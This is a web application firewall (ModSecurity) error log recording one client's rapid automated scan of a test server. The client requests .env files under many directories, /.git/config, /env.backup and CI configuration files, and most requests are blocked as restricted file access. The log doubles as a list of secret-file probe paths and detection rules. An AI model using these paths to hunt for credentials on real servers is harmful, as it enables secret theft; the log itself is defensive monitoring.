[Wed Feb 25 06:04:40.108300 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aZ6C6J6MLyC5r86Hx-ZXDgAAAAQ&quot;]
[Wed Feb 25 06:04:40.144730 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaWAAAAAA&quot;]
[Wed Feb 25 06:04:40.145024 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaWAAAAAA&quot;]
[Wed Feb 25 06:04:40.145234 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/app/.env&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaWAAAAAA&quot;]
[Wed Feb 25 06:04:40.146608 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.github/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.github/.env&quot;] [unique_id &quot;aZ6C6J6MLyC5r86Hx-ZXDwAAAAQ&quot;]
[Wed Feb 25 06:04:40.146844 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.github/.env&quot;] [unique_id &quot;aZ6C6J6MLyC5r86Hx-ZXDwAAAAQ&quot;]
[Wed Feb 25 06:04:40.146989 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.github/.env&quot;] [unique_id &quot;aZ6C6J6MLyC5r86Hx-ZXDwAAAAQ&quot;]
[Wed Feb 25 06:04:40.219323 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaWQAAAAA&quot;]
[Wed Feb 25 06:04:40.220149 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaWQAAAAA&quot;]
[Wed Feb 25 06:04:40.220350 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaWQAAAAA&quot;]
[Wed Feb 25 06:04:40.308291 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aZ6C6J6MLyC5r86Hx-ZXEQAAAAQ&quot;]
[Wed Feb 25 06:04:40.308577 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aZ6C6J6MLyC5r86Hx-ZXEQAAAAQ&quot;]
[Wed Feb 25 06:04:40.308757 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aZ6C6J6MLyC5r86Hx-ZXEQAAAAQ&quot;]
[Wed Feb 25 06:04:40.368426 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;.gitlab-ci.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .gitlab-ci.yml found within REQUEST_FILENAME: /.gitlab-ci.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aZ6C6J6MLyC5r86Hx-ZXEgAAAAQ&quot;]
[Wed Feb 25 06:04:40.368701 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aZ6C6J6MLyC5r86Hx-ZXEgAAAAQ&quot;]
[Wed Feb 25 06:04:40.368902 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aZ6C6J6MLyC5r86Hx-ZXEgAAAAQ&quot;]
[Wed Feb 25 06:04:40.426006 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /js/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaXgAAAAA&quot;]
[Wed Feb 25 06:04:40.426312 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaXgAAAAA&quot;]
[Wed Feb 25 06:04:40.426563 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaXgAAAAA&quot;]
[Wed Feb 25 06:04:40.516345 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaXwAAAAA&quot;]
[Wed Feb 25 06:04:40.516651 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaXwAAAAA&quot;]
[Wed Feb 25 06:04:40.516910 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaXwAAAAA&quot;]
[Wed Feb 25 06:04:40.522762 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.gitlab-ci/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci/.env&quot;] [unique_id &quot;aZ6C6J6MLyC5r86Hx-ZXEwAAAAQ&quot;]
[Wed Feb 25 06:04:40.523046 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci/.env&quot;] [unique_id &quot;aZ6C6J6MLyC5r86Hx-ZXEwAAAAQ&quot;]
[Wed Feb 25 06:04:40.524479 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci/.env&quot;] [unique_id &quot;aZ6C6J6MLyC5r86Hx-ZXEwAAAAQ&quot;]
[Wed Feb 25 06:04:40.559502 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nginx/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaYAAAAAA&quot;]
[Wed Feb 25 06:04:40.559793 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaYAAAAAA&quot;]
[Wed Feb 25 06:04:40.560044 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaYAAAAAA&quot;]
[Wed Feb 25 06:04:40.570640 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.gitlab/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab/.env&quot;] [unique_id &quot;aZ6C6J6MLyC5r86Hx-ZXFAAAAAQ&quot;]
[Wed Feb 25 06:04:40.570963 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab/.env&quot;] [unique_id &quot;aZ6C6J6MLyC5r86Hx-ZXFAAAAAQ&quot;]
[Wed Feb 25 06:04:40.571157 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab/.env&quot;] [unique_id &quot;aZ6C6J6MLyC5r86Hx-ZXFAAAAAQ&quot;]
[Wed Feb 25 06:04:40.612329 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaYQAAAAA&quot;]
